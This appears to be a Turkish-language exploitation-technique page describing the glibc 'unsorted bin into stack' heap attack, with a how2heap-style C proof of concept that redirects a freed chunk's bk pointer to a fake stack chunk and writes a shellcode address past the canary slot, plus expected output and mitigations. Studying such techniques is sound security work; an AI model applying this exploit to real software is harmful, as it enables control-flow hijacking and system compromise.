Skip to content

unsorted bin into stack

Freed bir unsorted-bin chunk'ının bk'sini stack'teki sahte bir chunk'a yönelt, böylece sonraki malloc near-arbitrary (stack) bir pointer döndürür.

Mechanism

Düz unsorted-bin-attack unlink write'ı suistimal ederken, bu varyant döndürülen pointer'ı suistimal eder. Unsorted bin'i dolaşırken, _int_malloc, victim'in size'ı mevcut request'i karşılarsa ("exact fit" yolu) veya taşınan son chunk ise, onu doğrudan caller'a geri verebilir. Allocator, değerlendirilecek sonraki chunk'ı bulmak için victim->bk'yi takip eder:

victim = unsorted_chunks(av)->bk;   /* last chunk in the bin */
...
/* if it does not exactly fit the request, it is sorted into a bin and
   the loop advances via victim = bck (= victim->bk) */

victim->bk'yi stack'e yerleştirilmiş sahte bir malloc_chunk gösterecek şekilde overwrite ederek, attacker allocator'ın o stack region'ını free bir chunk olarak ele almasını sağlar. Request size'ı sahte chunk ile eşleşecek şekilde tasarlanırsa, malloc stack'in içine bir pointer döndürür — return address ve canary etrafındaki region dahil olmak üzere bir stack frame üzerinde kontrollü allocation verir.

Note

Sahte chunk'ın size field'ı minimum-size sanity check'ini geçmeli (size >= 2*SIZE_SZ, yani x86-64'te > 16) ve tetikleyen request'ten farklı olmalı, böylece chunk yanlış pass'te döndürülmek yerine sorted (re-linked) edilir. Tüm teknik glibc 2.29 unsorted-bin integrity check'inden öncedir ve glibc < 2.29 için geçerlidir.

Walkthrough

how2heap unsorted_bin_into_stack biçimi (glibc 2.27):

unsigned long stack_buffer[4] = {0};

unsigned long *victim = malloc(0x410);
malloc(0x20);                       /* guard against top consolidation */
free(victim);                       /* victim enters the unsorted bin */

/* craft a fake chunk on the stack */
stack_buffer[1] = 0x30;             /* fake prev_size / size area */
/* size field for the fake chunk; must pass 2*SIZE_SZ check */

/* vulnerability: redirect victim->bk to the stack */
victim[1] = (unsigned long)stack_buffer;   /* victim->bk -> stack */

unsigned long *p = malloc(0x30);    /* allocator follows bk onto the stack */
/* p now points into stack_buffer */
memcpy((char *)p + 40, &shellcode_addr, 8);  /* write past the canary slot */
Beklenen çıktı (how2heap unsorted_bin_into_stack)
Allocated victim chunk on the heap
Freed victim; unsorted bin bk now controllable
Set victim->bk to the stack fake chunk
malloc() returned a pointer into our stack buffer
Nice jump d00d

"canary'nin üzerinden atlama" write'ı, bir stack allocation'ının neden güçlü olduğunu gösterir: stack canary'yi geçmeden (ve bozmadan) kaydedilmiş return address'i ezmene olanak verir.

Mitigation

glibc 2.29'un unsorted-bin consistency check'i (bck->fd != victim artı have_fastchunks/size validation'ları), ilgisiz bir (stack) region'ı gösteren bir bk'yi reddeder, dolayısıyla tam olarak bu PoC yalnızca daha eski glibc'de çalışır. Stack canary'ler hâlâ "canary'nin ötesine yaz" hilesini zorunlu kılar; relro ve hardened bir allocator (safe-linking, randomize edilmiş key'ler) takipleri daha da kısıtlar.

References